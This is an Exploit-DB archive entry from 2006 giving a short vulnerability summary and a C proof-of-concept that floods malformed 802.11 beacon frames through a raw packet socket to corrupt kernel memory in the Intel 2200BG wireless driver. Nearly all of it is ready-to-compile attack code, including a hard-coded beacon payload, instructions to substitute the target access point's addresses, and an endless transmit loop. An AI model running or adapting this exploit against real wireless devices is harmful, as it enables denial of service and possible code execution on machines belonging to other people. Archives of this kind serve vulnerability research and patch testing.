Exploit-DB #2949
Description: Intel 2200BG 802.11 - Beacon frame Kernel Memory Corruption
Type: dos
Platform: multiple
Date: 2006-12-19
Author: Breno Silva Pinto

Exploit:
/*
Summary:
The intel wireless mini-pci driver provided with Intel 2200BG 
cards is vulnerable to a remote race condition memory corruption flaw. 
Malformed beacons frame can be used to corrupt internal kernel 
structures,leading to arbitrary code execution. This vulnerability is 
triggered when flooding wifi card with many malformed beacons frame. The 
data is copied over internal kernel structures, resulting in memory 
operations being performed on attacker-controlled pointer values, like 
EIP values.
 
Credit:
Breno Silva Pinto (Open Communications Security).

Vulnerable Systems:
 * Intel 2200 driver version 9.0.3.9

url: http://www.securiteam.com/windowsntfocus/6B00D2KHPA.html
*/

#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <asm/types.h>
#include <linux/if.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h >
#include <stdio.h>
#include <linux/wireless.h>

// Change BSSID and SRC MAC ADDR to AP you are associated

char beacon[] = { 0x80, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 0x00, 0x18, 0x39, 0xe2, 0x12, 0xda,0x00, 0x18, 0x39, 0xe2, 0x12, 0xda,
0x30, 0x2f, 0x84, 0x18, 0xa9, 0xf7, 0x00, 0x00, 0x00, 0x00, 0x64, 0x00,
0x01, 0x04, 0x00, 0xff, 0x53, 0x41, 0x55, 0x4e, 0x41, 0x01, 0x08, 0x82,
0x84, 0x8b,0x96, 0x24, 0x30, 0x48, 0x6c, 0x04, 0x01, 0x08, 0x05, 0x04,
0x00, 0x01, 0x00, 0x00, 0x2a, 0x01,0x04, 0x2f, 0x01, 0x04, 0x32, 0x04,
0x0c, 0x12, 0x18, 0x60, 0xdd, 0x06, 0x00, 0x10, 0x18, 0x02,0x00, 0xf4,
0x08, 0xc1, 0xca, 0x93 };

int main() {
    struct sockaddr_ll link;
    struct ifreq iface;
    int s, i, randd = 0x22, j, m, a, b;
    unsigned long len = 0, c = 0;
    char s_1[700+sizeof(beacon)];
    
    if((s=socket(PF_INET, SOCK_DGRAM, 0))<0)
        return 0;

    bzero(&iface,sizeof(iface));
    bzero(&link,sizeof(link));
        bzero(s_1,sizeof(beacon));
        
    strcpy( iface.ifr_name,"ath0raw");

    
    if(ioctl(s,SIOCGIFHWADDR, &iface)) {
        return 0;
    }
    
    if(ioctl(s,SIOCGIFINDEX, &iface)) {
        return -1;
    
    }
     
    if((s=socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)))<0) {
        return -1;
    }
    
    link.sll_family = AF_PACKET;
    link.sll_ifindex = iface.ifr_ifindex;

    if(bind(s,(struct sockaddr *) &link, sizeof(link))<0) {
        return -1;
    
    }
    

           memcpy(s_1,beacon,sizeof(beacon));

    randd = 0x44;

    for(i=0;i<33;i++)
    s_1[37+i] = 0x44;
    
    for(;;) {
            
            i = 147;
                for(j=0;j<i;j++) {
                    if(randd == 0xff)
                    randd = 0x00;
                    s_1[70+j] = randd++;
            }
            randd = 0x44;
            for(m=0;m<5;m++) {
            len = sendto(s,s_1,strlen(beacon)+j, 0, NULL, 0);
            printf("Sent %d\n",len);
            }
    }

    close(s);
    
    return 0;
}

// milw0rm.com [2006-12-19]